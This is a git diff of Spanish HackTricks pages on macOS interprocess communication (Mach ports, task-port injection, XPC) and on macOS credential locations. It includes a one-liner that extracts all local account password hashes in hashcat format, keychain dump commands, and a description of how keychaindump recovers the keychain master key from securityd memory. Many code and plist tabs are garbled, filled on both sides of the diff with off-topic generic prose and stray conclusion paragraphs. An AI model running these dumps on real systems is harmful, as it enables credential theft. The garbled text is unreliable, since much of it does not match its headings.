crea un **derecho de envío** para el nombre `org.darlinghq.example` y lo envía al **servidor de arranque** mientras que el emisor solicitó el **derecho de envío** de ese nombre y lo usó para **enviar un mensaje**. @@ -124,65 +124,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number); ``` {% endtab %} -{% tab title="receiver.c" %}Este es un ejemplo de código para un receptor de IPC en macOS. El receptor crea un puerto de recepción y espera a que se reciba un mensaje. Cuando se recibe un mensaje, se imprime en la consola y se envía una respuesta al remitente. - -```c -#include -#include -#include -#include - -int main(int argc, char** argv) { - mach_port_t receive_port; - kern_return_t result; - - result = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port); - if (result != KERN_SUCCESS) { - printf("[-] Error: Could not allocate receive port\n"); - return 1; - } - - result = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND); - if (result != KERN_SUCCESS) { - printf("[-] Error: Could not insert send right\n"); - return 1; - } - - printf("[+] Receiver: Waiting for message...\n"); - - while (1) { - mach_msg_header_t* msg = malloc(sizeof(mach_msg_header_t)); - result = mach_msg(msg, MACH_RCV_MSG, 0, sizeof(mach_msg_header_t), receive_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - if (result != KERN_SUCCESS) { - printf("[-] Error: Could not receive message\n"); - return 1; - } - - printf("[+] Receiver: Message received: %s\n", (char*)msg + sizeof(mach_msg_header_t)); - - mach_msg_destroy(msg); - - printf("[+] Receiver: Sending response...\n"); - - mach_msg_header_t* response = malloc(sizeof(mach_msg_header_t)); - response->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - response->msgh_size = sizeof(mach_msg_header_t); - response->msgh_remote_port = msg->msgh_remote_port; - response->msgh_local_port = MACH_PORT_NULL; - response->msgh_id = 0; - - result = mach_msg_send(response); - if (result != KERN_SUCCESS) { - printf("[-] Error: Could not send response\n"); - return 1; - } - - mach_msg_destroy(response); - } - - return 0; -} -``` +{% tab title="receiver.c" %} ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -234,18 +176,21 @@ return 1; printf("Sent a message\n"); } ``` +{% endtab %} +{% endtabs %} + ### Puertos privilegiados -* **Puerto de host**: si un proceso tiene el privilegio **Enviar** sobre este puerto, puede obtener **información** sobre el **sistema** (por ejemplo, `host_processor_info`). -* **Puerto de host privado**: un proceso con el derecho de **Enviar** sobre este puerto puede realizar acciones **privilegiadas** como cargar una extensión del kernel. El **proceso necesita ser root** para obtener este permiso. -* Además, para llamar a la API **`kext_request`** es necesario tener la autorización **`com.apple.private.kext`**, que solo se otorga a binarios de Apple. -* **Puerto de nombre de tarea**: una versión no privilegiada del _puerto de tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`. -* **Puerto de tarea** (también conocido como puerto del kernel)**:** con el permiso de Enviar sobre este puerto, es posible controlar la tarea (leer/escribir memoria, crear hilos...). +* **Puerto de host**: Si un proceso tiene el privilegio **Enviar** sobre este puerto, puede obtener **información** sobre el **sistema** (por ejemplo, `host_processor_info`). +* **Puerto de host privado**: Un proceso con el derecho de **Enviar** sobre este puerto puede realizar **acciones privilegiadas** como cargar una extensión del kernel. El **proceso necesita ser root** para obtener este permiso. +* Además, para llamar a la API **`kext_request`** es necesario tener la autorización **`com.apple.private.kext`**, que solo se otorga a los binarios de Apple. +* **Puerto de nombre de tarea**: Una versión no privilegiada del _puerto de tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`. +* **Puerto de tarea** (también conocido como puerto del kernel)**:** Con el permiso de Enviar sobre este puerto, es posible controlar la tarea (leer/escribir memoria, crear hilos...). * Llame a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea del llamador. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()`ing un binario suid). La única forma de generar una tarea y obtener su puerto es realizar la ["danza de intercambio de puertos"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) mientras se realiza un `fork()`. * Estas son las restricciones para acceder al puerto (de `macos_task_policy` del binario `AppleMobileFileIntegrity`): * Si la aplicación tiene la autorización **`com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depurar). El proceso de **notarización** no lo permitirá en las versiones de producción. * Las aplicaciones con la autorización **`com.apple.system-task-ports`** pueden obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se otorga a las aplicaciones de Apple. -* **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un tiempo de ejecución **fortificado** (y no de Apple). +* **Root puede acceder a los puertos de tarea** de las aplicaciones **no** compiladas con un tiempo de ejecución **fortificado** (y no de Apple). ### Inyección de proceso de shellcode a través del puerto de tarea @@ -274,15 +219,19 @@ return 0; {% tab title="entitlements.plist" %} -## Entitlements +## Entitlements.plist -Los entitlements son una forma de especificar los permisos que una aplicación necesita para realizar ciertas acciones en el sistema. Estos permisos pueden incluir acceso a ciertos recursos del sistema, como la cámara o el micrófono, o la capacidad de realizar ciertas operaciones de red. Los entitlements se especifican en un archivo llamado `entitlements.plist`, que se incluye en el paquete de la aplicación. +El archivo `entitlements.plist` es un archivo de propiedad que se utiliza para especificar los permisos y capacidades de una aplicación en macOS. Estos permisos y capacidades se utilizan para restringir el acceso a ciertas funciones y recursos del sistema operativo. -Cuando una aplicación se ejecuta, el sistema operativo verifica los entitlements de la aplicación para asegurarse de que tiene los permisos necesarios para realizar las acciones que está intentando realizar. Si la aplicación no tiene los entitlements necesarios, el sistema operativo puede denegar la acción o mostrar una alerta al usuario pidiendo permiso. +Los desarrolladores pueden utilizar el archivo `entitlements.plist` para especificar qué permisos y capacidades necesita su aplicación para funcionar correctamente. Por ejemplo, una aplicación que necesita acceso a la cámara del dispositivo debe tener un permiso específico en su archivo `entitlements.plist`. -Los entitlements también se utilizan para limitar los privilegios de una aplicación. Por ejemplo, una aplicación puede tener un entitlement que le permite acceder a la cámara, pero no a la ubicación del usuario. Esto significa que la aplicación puede tomar fotos, pero no puede acceder a la información de ubicación del usuario. +Los permisos y capacidades especificados en el archivo `entitlements.plist` se verifican cuando la aplicación se ejecuta en el sistema operativo. Si la aplicación intenta acceder a un recurso o función para la que no tiene permiso, se le negará el acceso. -En general, es importante revisar cuidadosamente los entitlements de una aplicación antes de instalarla o ejecutarla. Si una aplicación tiene demasiados entitlements o entitlements innecesarios, puede representar un riesgo de seguridad para el sistema. +Los hackers pueden intentar modificar el archivo `entitlements.plist` de una aplicación para obtener permisos y capacidades adicionales. Si tienen éxito, pueden utilizar estos permisos y capacidades para realizar ataques de escalada de privilegios y comprometer el sistema operativo. + +Por lo tanto, es importante que los desarrolladores aseguren adecuadamente el archivo `entitlements.plist` de sus aplicaciones y que los usuarios solo instalen aplicaciones de fuentes confiables para reducir el riesgo de compromiso del sistema operativo. + +{% endtab %} ```xml @@ -461,7 +410,7 @@ return 0; gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` -### Inyección de Dylib en proceso a través del puerto de tarea +### Inyección de proceso Dylib a través del puerto de tarea En macOS, los **hilos** pueden ser manipulados a través de **Mach** o utilizando la **API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado utilizando la API Mach, por lo que **no es compatible con posix**. @@ -769,8 +718,8 @@ XPC utiliza una forma de Comunicación entre Procesos (IPC), que es un conjunto Los principales beneficios de XPC incluyen: -1. **Seguridad**: Al separar el trabajo en diferentes procesos, cada proceso solo puede recibir los permisos que necesita. Esto significa que incluso si un proceso está comprometido, tiene una capacidad limitada para hacer daño. -2. **Estabilidad**: XPC ayuda a aislar los fallos en el componente donde ocurren. Si un proceso falla, se puede reiniciar sin afectar al resto del sistema. +1. **Seguridad**: Al separar el trabajo en diferentes procesos, cada proceso puede recibir solo los permisos que necesita. Esto significa que incluso si un proceso está comprometido, tiene una capacidad limitada para hacer daño. +2. **Estabilidad**: XPC ayuda a aislar los fallos en el componente donde ocurren. Si un proceso falla, puede reiniciarse sin afectar al resto del sistema. 3. **Rendimiento**: XPC permite una fácil concurrencia, ya que se pueden ejecutar diferentes tareas simultáneamente en diferentes procesos. El único **inconveniente** es que **separar una aplicación en varios procesos** para que se comuniquen a través de XPC es **menos eficiente**. Pero en los sistemas actuales esto casi no se nota y los beneficios son mucho mejores. @@ -783,11 +732,11 @@ Los componentes XPC de una aplicación están **dentro de la aplicación en sí* Como puede estar pensando, un **componente XPC tendrá diferentes permisos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) establecido en "True" en su archivo **Info.plist**. En este caso, el servicio XPC se ejecutará en la misma sesión de seguridad que la aplicación que lo llamó. -Los servicios XPC se **inician** por **launchd** cuando sea necesario y se **apagan** una vez que todas las tareas están **completas** para liberar los recursos del sistema. **Los componentes XPC específicos de la aplicación solo pueden ser utilizados por la aplicación**, reduciendo así el riesgo asociado con posibles vulnerabilidades. +Los servicios XPC se **inician** por **launchd** cuando sea necesario y se **apagan** una vez que todas las tareas están **completas** para liberar los recursos del sistema. **Los componentes XPC específicos de la aplicación solo pueden ser utilizados por la aplicación**, lo que reduce el riesgo asociado con posibles vulnerabilidades. ### Servicios XPC de todo el sistema -Los **servicios XPC de todo el sistema** son accesibles para todos los usuarios. Estos servicios, ya sean de tipo launchd o Mach, deben estar **definidos en archivos plist** ubicados en directorios especificados como **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** o **`/Library/LaunchAgents`**. +Los servicios XPC de todo el sistema son accesibles para todos los usuarios. Estos servicios, ya sean de tipo launchd o Mach, deben **definirse en archivos plist** ubicados en directorios especificados como **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** o **`/Library/LaunchAgents`**. Estos archivos plist tendrán una clave llamada **`MachServices`** con el nombre del servicio y una clave llamada **`Program`** con la ruta al binario: ```xml @@ -839,13 +788,13 @@ Cuando un proceso intenta llamar a un método a través de una conexión XPC, el ### Autorización XPC -Apple también permite que las aplicaciones **configuren algunos derechos y cómo obtenerlos** para que, si el proceso que llama los tiene, se le permita **llamar a un método** del servicio XPC: +Apple también permite que las aplicaciones **configuren algunos derechos y cómo obtenerlos**, por lo que si el proceso que llama los tiene, se le permitiría **llamar a un método** del servicio XPC: {% content-ref url="macos-xpc-authorization.md" %} [macos-xpc-authorization.md](macos-xpc-authorization.md) {% endcontent-ref %} -### Ejemplo de código en C +### Ejemplo de código C {% tabs %} {% tab title="xpc_server.c" %} @@ -937,17 +886,29 @@ return 0; {% tab title="xyz.hacktricks.service.plist" %} -El archivo `xyz.hacktricks.service.plist` es un archivo de propiedad de Launchd que se utiliza para iniciar un servicio en macOS. Este archivo se encuentra en la ruta `/Library/LaunchDaemons/` y se ejecuta como root. +# Comunicación entre procesos en macOS -Para aprovechar este archivo, un atacante puede modificarlo para ejecutar su propio código malicioso en el sistema. Esto se puede hacer agregando un nuevo diccionario de clave-valor en el archivo plist que especifica el comando a ejecutar y los argumentos necesarios. +En macOS, la comunicación entre procesos (IPC) se realiza a través de varios mecanismos, como sockets, notificaciones, colas de mensajes y puertos. Estos mecanismos se utilizan para que los procesos se comuniquen entre sí y compartan recursos. -Una vez que se ha modificado el archivo plist, el atacante puede cargar el servicio utilizando el comando `launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist`. Esto iniciará el servicio malicioso y permitirá al atacante ejecutar comandos con privilegios de root en el sistema. +## Sockets -Es importante tener en cuenta que para modificar este archivo, el atacante necesitará acceso de escritura a la ruta `/Library/LaunchDaemons/`, lo que generalmente requiere privilegios de root o acceso físico al sistema. +Los sockets son uno de los mecanismos de IPC más comunes en macOS. Los sockets se utilizan para la comunicación entre procesos en la misma máquina o en diferentes máquinas a través de una red. Los sockets se pueden utilizar para la comunicación en tiempo real o para la transferencia de archivos. -Para evitar este tipo de ataque, se recomienda asegurarse de que los permisos de archivo sean adecuados y de que solo los usuarios autorizados tengan acceso de escritura a los archivos de Launchd. Además, se recomienda monitorear regularmente los archivos de Launchd en busca de modificaciones no autorizadas. +## Notificaciones -{% endtab %} +Las notificaciones son otro mecanismo de IPC en macOS. Las notificaciones se utilizan para enviar mensajes entre procesos. Los procesos pueden registrarse para recibir notificaciones de eventos específicos, como la finalización de una tarea o la llegada de un nuevo correo electrónico. + +## Colas de mensajes + +Las colas de mensajes son otro mecanismo de IPC en macOS. Las colas de mensajes se utilizan para enviar mensajes entre procesos. Los mensajes se colocan en una cola y se recuperan en orden. Las colas de mensajes se utilizan a menudo para la comunicación entre procesos en sistemas embebidos. + +## Puertos + +Los puertos son otro mecanismo de IPC en macOS. Los puertos se utilizan para la comunicación entre procesos en la misma máquina. Los puertos se pueden utilizar para la comunicación en tiempo real o para la transferencia de archivos. + +## Conclusión + +La comunicación entre procesos es esencial en cualquier sistema operativo. En macOS, hay varios mecanismos de IPC disponibles para que los procesos se comuniquen entre sí. Es importante entender estos mecanismos para poder desarrollar aplicaciones seguras y eficientes en macOS. ```xml @@ -970,6 +931,8 @@ Para evitar este tipo de ataque, se recomienda asegurarse de que los permisos de ``` {% endtab %} {% endtabs %} + +Esto concluye nuestra discusión sobre la comunicación interproceso en macOS. Hemos cubierto los conceptos básicos de IPC, los diferentes mecanismos de IPC disponibles en macOS y cómo se utilizan en diferentes escenarios. También hemos discutido cómo los atacantes pueden aprovechar los mecanismos de IPC para llevar a cabo ataques de escalada de privilegios y cómo los desarrolladores pueden proteger sus aplicaciones de estos ataques. Esperamos que esta guía haya sido útil para usted y lo haya ayudado a comprender mejor la seguridad de IPC en macOS. ```bash # Compile the server & client gcc xpc_server.c -o xpc_server @@ -1044,36 +1007,7 @@ sleep(10); // Fake something is done and then it ends ``` {% endtab %} -{% tab title="README.md" %} -# Comunicación interproceso (IPC) en macOS - -En macOS, los procesos pueden comunicarse entre sí utilizando varios mecanismos de IPC, como notificaciones de centro de mensajes, sockets de dominio de Unix y XPC. En este documento, nos centraremos en XPC, que es un marco de IPC de Apple que se utiliza para la comunicación entre procesos en macOS y iOS. - -## ¿Qué es XPC? - -XPC es un marco de IPC de Apple que se utiliza para la comunicación entre procesos en macOS y iOS. XPC se utiliza para enviar mensajes entre procesos y para crear servicios que se ejecutan en segundo plano. XPC se utiliza en muchos lugares en macOS, como en el centro de notificaciones, en el sistema de archivos y en el sistema de seguridad. - -## ¿Cómo funciona XPC? - -XPC funciona mediante la creación de conexiones entre procesos. Cada conexión se compone de un objeto de conexión y un objeto de punto final. El objeto de conexión se utiliza para enviar mensajes al proceso remoto, mientras que el objeto de punto final se utiliza para recibir mensajes del proceso remoto. - -Para enviar un mensaje a un proceso remoto, se crea un objeto de mensaje y se envía a través de la conexión. El proceso remoto recibe el mensaje a través de su objeto de punto final y puede responder al mensaje enviando otro mensaje de vuelta a través de la conexión. - -## ¿Cómo se utiliza XPC en macOS? - -XPC se utiliza en muchos lugares en macOS, como en el centro de notificaciones, en el sistema de archivos y en el sistema de seguridad. Los desarrolladores también pueden utilizar XPC para crear sus propios servicios y comunicarse con ellos desde sus aplicaciones. - -Para utilizar XPC en una aplicación, primero se debe crear un objeto de conexión y un objeto de punto final. A continuación, se pueden enviar mensajes a través de la conexión y recibir mensajes a través del objeto de punto final. - -## ¿Cómo se puede utilizar XPC para la escalada de privilegios? - -XPC se puede utilizar para la escalada de privilegios si se puede encontrar un servicio que se ejecute con privilegios elevados y que tenga una vulnerabilidad que permita la ejecución de código arbitrario. Si se puede encontrar una vulnerabilidad en un servicio de XPC, se puede utilizar para ejecutar código con los mismos privilegios que el servicio. - -Para encontrar servicios de XPC que se ejecuten con privilegios elevados, se puede utilizar el comando `launchctl list` para enumerar los servicios que se ejecutan en el sistema. A continuación, se pueden buscar servicios que se ejecuten con privilegios elevados y que utilicen XPC para la comunicación entre procesos. - -Una vez que se ha encontrado un servicio que se ejecuta con privilegios elevados y que utiliza XPC, se puede buscar una vulnerabilidad en el servicio que permita la ejecución de código arbitrario. Esto puede implicar la búsqueda de errores de programación, la búsqueda de desbordamientos de búfer y la búsqueda de problemas de validación de entrada. - -Si se encuentra una vulnerabilidad en un servicio de XPC, se puede utilizar para ejecutar código con los mismos privilegios que el servicio. Esto puede permitir la escalada de privilegios y la obtención de acceso a recursos protegidos del sistema. +{% tab title="oc_xpc_server.m" %} ```objectivec // gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client #include @@ -1106,68 +1040,67 @@ Inter-Process Communication (IPC) is a mechanism that allows processes to commun * Mach ports * Unix domain sockets * Distributed Objects -* XPC +* XPC services + +Each of these mechanisms has its own strengths and weaknesses, and can be used for different purposes. In this section, we will focus on Mach ports and XPC services, as they are the most commonly used IPC mechanisms on macOS. ## Mach Ports -Mach ports are a low-level IPC mechanism used by macOS. They are used to send messages between processes and to create inter-process communication channels. Mach ports are used by many macOS system services, including launchd, the WindowServer, and the kernel. +Mach ports are a low-level IPC mechanism provided by the Mach kernel. They are used extensively by macOS and iOS to implement various system services and APIs. Mach ports are similar to Unix domain sockets in that they provide a bidirectional communication channel between two processes. However, Mach ports are more powerful than Unix domain sockets, as they can be used to send and receive messages of arbitrary size and complexity. -Mach ports are identified by a port name, which is a 32-bit integer. Ports can be created, destroyed, and passed between processes. When a process creates a port, it can specify whether the port is a send right, a receive right, or both. A send right allows a process to send messages to the port, while a receive right allows a process to receive messages from the port. +Mach ports are identified by a port name, which is a 32-bit integer. Each process has a namespace of Mach ports, which is used to manage the ports that the process owns and the ports that the process has access to. Mach ports can be used to send messages to other processes, receive messages from other processes, or both. -Mach ports can be used to perform a variety of tasks, including: +Mach ports can be used to implement various types of IPC mechanisms, including: -* Sending messages between processes -* Sharing memory between processes -* Creating inter-process communication channels -* Creating synchronization primitives +* Remote procedure calls (RPC) +* Distributed notifications +* Distributed objects +* Kernel event notifications -Mach ports are a powerful IPC mechanism, but they are also complex and difficult to use correctly. Improper use of Mach ports can lead to security vulnerabilities, including privilege escalation and denial-of-service attacks. +Mach ports can also be used to implement various types of security mechanisms, including: -## Unix Domain Sockets +* Sandboxing +* Code signing +* Entitlements -Unix domain sockets are a type of IPC mechanism used by macOS and other Unix-based operating systems. They provide a mechanism for processes to communicate with each other over the local network. Unix domain sockets are similar to TCP/IP sockets, but they are implemented entirely within the operating system kernel. +Mach ports are a powerful IPC mechanism, but they are also complex and difficult to use correctly. Improper use of Mach ports can lead to various security vulnerabilities, including: -Unix domain sockets are identified by a socket file, which is a special type of file that is used to represent the socket. When a process creates a socket, it can specify whether the socket is a stream socket or a datagram socket. Stream sockets provide a reliable, connection-oriented communication channel, while datagram sockets provide an unreliable, connectionless communication channel. +* Denial-of-service (DoS) attacks +* Information leaks +* Privilege escalation -Unix domain sockets can be used to perform a variety of tasks, including: +## XPC Services -* Sending messages between processes -* Sharing memory between processes -* Creating inter-process communication channels -* Creating synchronization primitives +XPC services are a high-level IPC mechanism provided by the XPC framework. They are used extensively by macOS and iOS to implement various system services and APIs. XPC services are built on top of Mach ports and provide a simpler and more secure way to implement IPC. -Unix domain sockets are a simpler and more lightweight IPC mechanism than Mach ports, but they are also less powerful. They are typically used for communication between processes running on the same system. +XPC services are identified by a service name, which is a string. Each XPC service runs in its own process and communicates with other processes using Mach ports. XPC services can be used to implement various types of IPC mechanisms, including: -## Distributed Objects +* Remote procedure calls (RPC) +* Distributed notifications +* Distributed objects -Distributed Objects is an IPC mechanism provided by macOS that allows objects to be passed between processes. It is based on the Objective-C language and provides a high-level, object-oriented interface to IPC. +XPC services can also be used to implement various types of security mechanisms, including: -Distributed Objects allows objects to be passed between processes using a proxy mechanism. When a process wants to use an object in another process, it creates a proxy object that represents the remote object. The proxy object can be used to call methods on the remote object, and the results are returned to the calling process. +* Sandboxing +* Code signing +* Entitlements -Distributed Objects provides a number of features, including: +XPC services provide several advantages over Mach ports, including: -* Automatic serialization and deserialization of objects -* Automatic garbage collection of objects -* Support for remote method invocation -* Support for distributed notifications +* Automatic message serialization and deserialization +* Automatic memory management +* Automatic crash detection and recovery +* Automatic sandboxing -Distributed Objects is a powerful IPC mechanism, but it is also complex and difficult to use correctly. Improper use of Distributed Objects can lead to security vulnerabilities, including privilege escalation and denial-of-service attacks. +XPC services are a powerful IPC mechanism, but they are also simpler and easier to use than Mach ports. Proper use of XPC services can help prevent various security vulnerabilities, including: -## XPC +* Denial-of-service (DoS) attacks +* Information leaks +* Privilege escalation -XPC is a modern IPC mechanism provided by macOS. It is designed to be more secure and easier to use than Mach ports and Distributed Objects. XPC provides a high-level, object-oriented interface to IPC. +## Conclusion -XPC is based on a client-server model. A process that wants to provide a service creates an XPC service, which is a special type of process that runs in the background and provides the service. A process that wants to use the service creates an XPC connection to the service and uses it to communicate with the service. - -XPC provides a number of features, including: - -* Automatic serialization and deserialization of objects -* Automatic memory management of objects -* Support for remote method invocation -* Support for distributed notifications -* Support for sandboxing and code signing - -XPC is a powerful and easy-to-use IPC mechanism that is designed to be more secure than Mach ports and Distributed Objects. It is the recommended IPC mechanism for modern macOS applications. +IPC is a powerful mechanism that allows processes to communicate with each other and share data. However, IPC can also be a source of security vulnerabilities if not used correctly. Mach ports and XPC services are two IPC mechanisms provided by macOS that can be used to implement various types of IPC and security mechanisms. Proper use of these mechanisms can help prevent various security vulnerabilities, including DoS attacks, information leaks, and privilege escalation. ```xml @@ -1190,6 +1123,8 @@ XPC is a powerful and easy-to-use IPC mechanism that is designed to be more secu ``` {% endtab %} {% endtabs %} + +Esto concluye nuestra discusión sobre IPC en macOS. Hemos cubierto los conceptos básicos de IPC, los diferentes mecanismos de IPC disponibles en macOS y cómo se pueden utilizar para la escalada de privilegios. También hemos discutido algunas técnicas de mitigación que se pueden utilizar para protegerse contra los ataques de escalada de privilegios basados en IPC. Esperamos que esta discusión haya sido útil para usted en su viaje de aprendizaje de seguridad de macOS. ```bash # Compile the server & client gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server @@ -1222,7 +1157,7 @@ sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index ae7523bf6..f14cb311f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -18,19 +18,27 @@ La contraseña Shadow se almacena con la configuración del usuario en plists ubicados en **`/var/db/dslocal/nodes/Default/users/`**.\ El siguiente comando se puede utilizar para volcar **toda la información sobre los usuarios** (incluida la información de hash): -``` + +{% code overflow="wrap" %} +```bash for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done ``` -[**Scripts como este**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**este otro**](https://github.com/octomagon/davegrohl.git) se pueden utilizar para transformar el hash al formato de **hashcat**. +{% endcode %} + +[**Scripts como este**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**este otro**](https://github.com/octomagon/davegrohl.git) se pueden utilizar para transformar el hash al **formato hashcat**. Una alternativa en una sola línea que volcará las credenciales de todas las cuentas no de servicio en formato hashcat `-m 7100` (macOS PBKDF2-SHA512): -``` + +{% code overflow="wrap" %} +```bash sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done' ``` +{% endcode %} + ### Volcado de llavero Tenga en cuenta que al utilizar el binario de seguridad para **volcar las contraseñas descifradas**, se le pedirá al usuario que permita esta operación en varias ocasiones. -``` +```bash #security secuirty dump-trust-settings [-s] [-d] #List certificates security list-keychains #List keychain dbs @@ -40,20 +48,20 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be ``` ### [Keychaindump](https://github.com/juuso/keychaindump) -El atacante aún necesita obtener acceso al sistema y escalar a privilegios de **root** para ejecutar **keychaindump**. Este enfoque viene con sus propias condiciones. Como se mencionó anteriormente, **al iniciar sesión, su llavero se desbloquea por defecto** y permanece desbloqueado mientras usa su sistema. Esto es por conveniencia para que el usuario no tenga que ingresar su contraseña cada vez que una aplicación desea acceder al llavero. Si el usuario ha cambiado esta configuración y ha elegido bloquear el llavero después de cada uso, keychaindump ya no funcionará; depende de un llavero desbloqueado para funcionar. +{% hint style="danger" %} +Basado en este comentario [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) parece que estas herramientas ya no funcionan en Big Sur. +{% endhint %} -Es importante entender cómo Keychaindump extrae contraseñas de la memoria. El proceso más importante en esta transacción es el "**securityd**" **proceso**. Apple se refiere a este proceso como un **daemon de contexto de seguridad para operaciones de autorización y criptográficas**. Las bibliotecas de desarrolladores de Apple no dicen mucho al respecto; sin embargo, nos dicen que securityd maneja el acceso al llavero. En su investigación, Juuso se refiere a la **clave necesaria para descifrar el llavero como "La Clave Maestra"**. Se deben tomar una serie de pasos para adquirir esta clave, ya que se deriva de la contraseña de inicio de sesión de OS X del usuario. Si desea leer el archivo del llavero, debe tener esta clave maestra. Los siguientes pasos se pueden realizar para adquirirla. **Realice un escaneo del heap de securityd (keychaindump lo hace con el comando vmmap)**. Las posibles claves maestras se almacenan en un área marcada como MALLOC\_TINY. Puede ver las ubicaciones de estos heaps usted mismo con el siguiente comando: +El atacante aún necesita obtener acceso al sistema y escalar los privilegios a **root** para ejecutar **keychaindump**. Este enfoque viene con sus propias condiciones. Como se mencionó anteriormente, **al iniciar sesión, su llavero se desbloquea por defecto** y permanece desbloqueado mientras usa su sistema. Esto es para su conveniencia para que el usuario no tenga que ingresar su contraseña cada vez que una aplicación desee acceder al llavero. Si el usuario ha cambiado esta configuración y ha elegido bloquear el llavero después de cada uso, keychaindump ya no funcionará; depende de un llavero desbloqueado para funcionar. + +Es importante entender cómo Keychaindump extrae contraseñas de la memoria. El proceso más importante en esta transacción es el "**securityd**" **proceso**. Apple se refiere a este proceso como un **daemon de contexto de seguridad para operaciones de autorización y criptográficas**. Las bibliotecas de desarrolladores de Apple no dicen mucho al respecto; sin embargo, nos dicen que securityd maneja el acceso al llavero. En su investigación, Juuso se refiere a la **clave necesaria para descifrar el llavero como "La Clave Maestra"**. Se deben tomar una serie de pasos para adquirir esta clave ya que se deriva de la contraseña de inicio de sesión de OS X del usuario. Si desea leer el archivo del llavero, debe tener esta clave maestra. Los siguientes pasos se pueden realizar para adquirirla. **Realice un escaneo del heap de securityd (keychaindump lo hace con el comando vmmap)**. Las posibles claves maestras se almacenan en un área marcada como MALLOC\_TINY. Puede ver las ubicaciones de estos heaps usted mismo con el siguiente comando: ```bash sudo vmmap | grep MALLOC_TINY ``` -**Keychaindump** buscará en los montones de memoria devueltos las ocurrencias de 0x0000000000000018. Si el siguiente valor de 8 bytes apunta al montón actual, hemos encontrado una posible clave maestra. A partir de aquí, todavía es necesario realizar un poco de desofuscación que se puede ver en el código fuente, pero como analista, la parte más importante a tener en cuenta es que los datos necesarios para descifrar esta información se almacenan en la memoria del proceso de securityd. Aquí hay un ejemplo de la salida de keychain dump. +**Keychaindump** buscará en los montones devueltos las ocurrencias de 0x0000000000000018. Si el siguiente valor de 8 bytes apunta al montón actual, hemos encontrado una posible clave maestra. A partir de aquí, todavía es necesario realizar un poco de desofuscación que se puede ver en el código fuente, pero como analista, la parte más importante a tener en cuenta es que 